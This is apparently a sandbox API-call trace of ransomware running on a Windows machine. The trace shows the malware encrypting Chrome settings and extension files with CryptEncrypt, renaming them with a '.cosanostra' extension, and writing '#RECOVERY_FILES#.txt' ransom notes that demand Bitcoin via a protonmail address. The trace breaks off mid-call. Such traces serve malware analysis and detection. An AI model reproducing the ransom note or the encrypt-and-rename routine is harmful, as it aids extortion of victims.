(lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\crashpad\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0084.897] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat") returned 93 [0084.897] StrStrW (lpFirst="settings.dat", lpSrch=".txt") returned 0x0 [0084.897] ReadFile (in: hFile=0x18c, lpBuffer=0x3011550, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x28dfc7c, lpOverlapped=0x0 | out: lpBuffer=0x3011550*, lpNumberOfBytesRead=0x28dfc7c*=0x28, lpOverlapped=0x0) returned 1 [0084.898] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffffd8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.898] WriteFile (in: hFile=0x18c, lpBuffer=0x3011550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x28dfc7c, lpOverlapped=0x0 | out: lpBuffer=0x3011550*, lpNumberOfBytesWritten=0x28dfc7c*=0x28, lpOverlapped=0x0) returned 1 [0084.898] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.898] WriteFile (in: hFile=0x18c, lpBuffer=0x28dfcbc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfc7c, lpOverlapped=0x0 | out: lpBuffer=0x28dfcbc*, lpNumberOfBytesWritten=0x28dfc7c*=0x4, lpOverlapped=0x0) returned 1 [0084.898] WriteFile (in: hFile=0x18c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfc7c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x28dfc7c*=0x30, lpOverlapped=0x0) returned 1 [0084.898] CloseHandle (hObject=0x18c) returned 1 [0084.899] wnsprintfW (in: pszDest=0x3037fd8, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat.cosanostra") returned 104 [0084.899] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\crashpad\\settings.dat"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\crashpad\\settings.dat.cosanostra")) returned 1 [0084.904] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfcb8 | out: pbBuffer=0x28dfcb8) returned 1 [0084.904] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x28dfcb0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x28dfcb0*=0x30) returned 1 [0084.904] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0084.905] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json") returned 156 [0084.905] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0084.905] ReadFile (in: hFile=0x18c, lpBuffer=0x3011550, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x28dfc74, lpOverlapped=0x0 | out: lpBuffer=0x3011550*, lpNumberOfBytesRead=0x28dfc74*=0xfb, lpOverlapped=0x0) returned 1 [0084.906] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffff05, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.906] WriteFile (in: hFile=0x18c, lpBuffer=0x3011550*, nNumberOfBytesToWrite=0xfb, lpNumberOfBytesWritten=0x28dfc74, lpOverlapped=0x0 | out: lpBuffer=0x3011550*, lpNumberOfBytesWritten=0x28dfc74*=0xfb, lpOverlapped=0x0) returned 1 [0084.906] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.906] WriteFile (in: hFile=0x18c, lpBuffer=0x28dfcb4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfc74, lpOverlapped=0x0 | out: lpBuffer=0x28dfcb4*, lpNumberOfBytesWritten=0x28dfc74*=0x4, lpOverlapped=0x0) returned 1 [0084.906] WriteFile (in: hFile=0x18c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfc74, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x28dfc74*=0x30, lpOverlapped=0x0) returned 1 [0084.907] CloseHandle (hObject=0x18c) returned 1 [0084.907] wnsprintfW (in: pszDest=0x3037ea8, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json.cosanostra") returned 167 [0084.907] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json.cosanostra")) returned 1 [0084.907] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\#RECOVERY_FILES#.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0084.908] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0084.908] WriteFile (in: hFile=0x18c, lpBuffer=0x28dfb53*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x28dfd14, lpOverlapped=0x0 | out: lpBuffer=0x28dfb53*, lpNumberOfBytesWritten=0x28dfd14*=0x1bf, lpOverlapped=0x0) returned 1 [0084.908] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0084.908] WriteFile (in: hFile=0x18c, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x28dfd14, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x28dfd14*=0x2ac, lpOverlapped=0x0) returned 1 [0084.909] CloseHandle (hObject=0x18c) returned 1 [0084.909] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfcb0 | out: pbBuffer=0x28dfcb0) returned 1 [0084.909] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x28dfca8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x28dfca8*=0x30) returned 1 [0084.909] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0084.925] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json") returned 157 [0084.925] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0084.925] ReadFile (in: hFile=0x18c, lpBuffer=0x3011528, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x28dfc6c, lpOverlapped=0x0 | out: lpBuffer=0x3011528*, lpNumberOfBytesRead=0x28dfc6c*=0x104, lpOverlapped=0x0) returned 1 [0084.926] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfffffefc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.926] WriteFile (in: hFile=0x18c, lpBuffer=0x3011528*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x28dfc6c, lpOverlapped=0x0 | out: lpBuffer=0x3011528*, lpNumberOfBytesWritten=0x28dfc6c*=0x104, lpOverlapped=0x0) returned 1 [0084.926] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.926] WriteFile (in: hFile=0x18c, lpBuffer=0x28dfcac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfc6c, lpOverlapped=0x0 | out: lpBuffer=0x28dfcac*, lpNumberOfBytesWritten=0x28dfc6c*=0x4, lpOverlapped=0x0) returned 1 [0084.926] WriteFile (in: hFile=0x18c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfc6c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x28dfc6c*=0x30, lpOverlapped=0x0) returned 1 [0084.927] CloseHandle (hObject=0x18c) returned 1 [0084.927] wnsprintfW (in: pszDest=0x3037d10, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json.cosanostra") returned 168 [0084.927] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json.cosanostra")) returned 1 [0084.927] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\#RECOVERY_FILES#.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0084.974] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0084.974] WriteFile (in: hFile=0x18c, lpBuffer=0x28dfb4b*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x28dfd0c, lpOverlapped=0x0 | out: lpBuffer=0x28dfb4b*, lpNumberOfBytesWritten=0x28dfd0c*=0x1bf, lpOverlapped=0x0) returned 1 [0084.974] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0084.975] WriteFile (in: hFile=0x18c, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x28dfd0c, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x28dfd0c*=0x2ac, lpOverlapped=0x0) returned 1 [0084.975] CloseHandle (hObject=0x18c) returned 1 [0084.975] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfca8 | out: pbBuffer=0x28dfca8) returned 1 [0084.975] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28dfca0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28dfca0*=0x30) returned 1 [0084.975] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0085.001] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json") returned 156 [0085.001] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.001] ReadFile (in: hFile=0x178, lpBuffer=0x3014a38, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x28dfc64, lpOverlapped=0x0 | out: lpBuffer=0x3014a38*, lpNumberOfBytesRead=0x28dfc64*=0x13f, lpOverlapped=0x0) returned 1 [0085.002] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xfffffec1, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.002] WriteFile (in: hFile=0x178, lpBuffer=0x3014a38*, nNumberOfBytesToWrite=0x13f, lpNumberOfBytesWritten=0x28dfc64, lpOverlapped=0x0 | out: lpBuffer=0x3014a38*, lpNumberOfBytesWritten=0x28dfc64*=0x13f, lpOverlapped=0x0) returned 1 [0085.002] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.003] WriteFile (in: hFile=0x178, lpBuffer=0x28dfca4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfc64, lpOverlapped=0x0 | out: lpBuffer=0x28dfca4*, lpNumberOfBytesWritten=0x28dfc64*=0x4, lpOverlapped=0x0) returned 1 [0085.003] WriteFile (in: hFile=0x178, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfc64, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28dfc64*=0x30, lpOverlapped=0x0) returned 1 [0085.003] CloseHandle (hObject=0x178) returned 1 [0085.004] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json.cosanostra")) returned 1 [0085.011] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfc98 | out: pbBuffer=0x28dfc98) returned 1 [0085.011] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28dfc90*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28dfc90*=0x30) returned 1 [0085.011] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0085.013] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json") returned 163 [0085.013] StrStrW (lpFirst="verified_contents.json", lpSrch=".txt") returned 0x0 [0085.025] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.026] WriteFile (in: hFile=0x178, lpBuffer=0x3014a38*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28dfc54, lpOverlapped=0x0 | out: lpBuffer=0x3014a38*, lpNumberOfBytesWritten=0x28dfc54*=0x2800, lpOverlapped=0x0) returned 1 [0085.026] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.026] WriteFile (in: hFile=0x178, lpBuffer=0x28dfc94*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfc54, lpOverlapped=0x0 | out: lpBuffer=0x28dfc94*, lpNumberOfBytesWritten=0x28dfc54*=0x4, lpOverlapped=0x0) returned 1 [0085.026] WriteFile (in: hFile=0x178, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfc54, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28dfc54*=0x30, lpOverlapped=0x0) returned 1 [0085.026] CloseHandle (hObject=0x178) returned 1 [0085.027] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json.cosanostra")) returned 1 [0085.065] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0085.065] WriteFile (in: hFile=0x18c, lpBuffer=0x28dfb33*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x28dfcf4, lpOverlapped=0x0 | out: lpBuffer=0x28dfb33*, lpNumberOfBytesWritten=0x28dfcf4*=0x1bf, lpOverlapped=0x0) returned 1 [0085.066] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0085.066] WriteFile (in: hFile=0x18c, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x28dfcf4, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x28dfcf4*=0x2ac, lpOverlapped=0x0) returned 1 [0085.067] CloseHandle (hObject=0x18c) returned 1 [0085.108] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfc90 | out: pbBuffer=0x28dfc90) returned 1 [0085.108] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfc88*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfc88*=0x30) returned 1 [0085.108] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.108] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png") returned 139 [0085.108] StrStrW (lpFirst="128.png", lpSrch=".txt") returned 0x0 [0085.147] SetFilePointerEx (in: hFile=0x188, 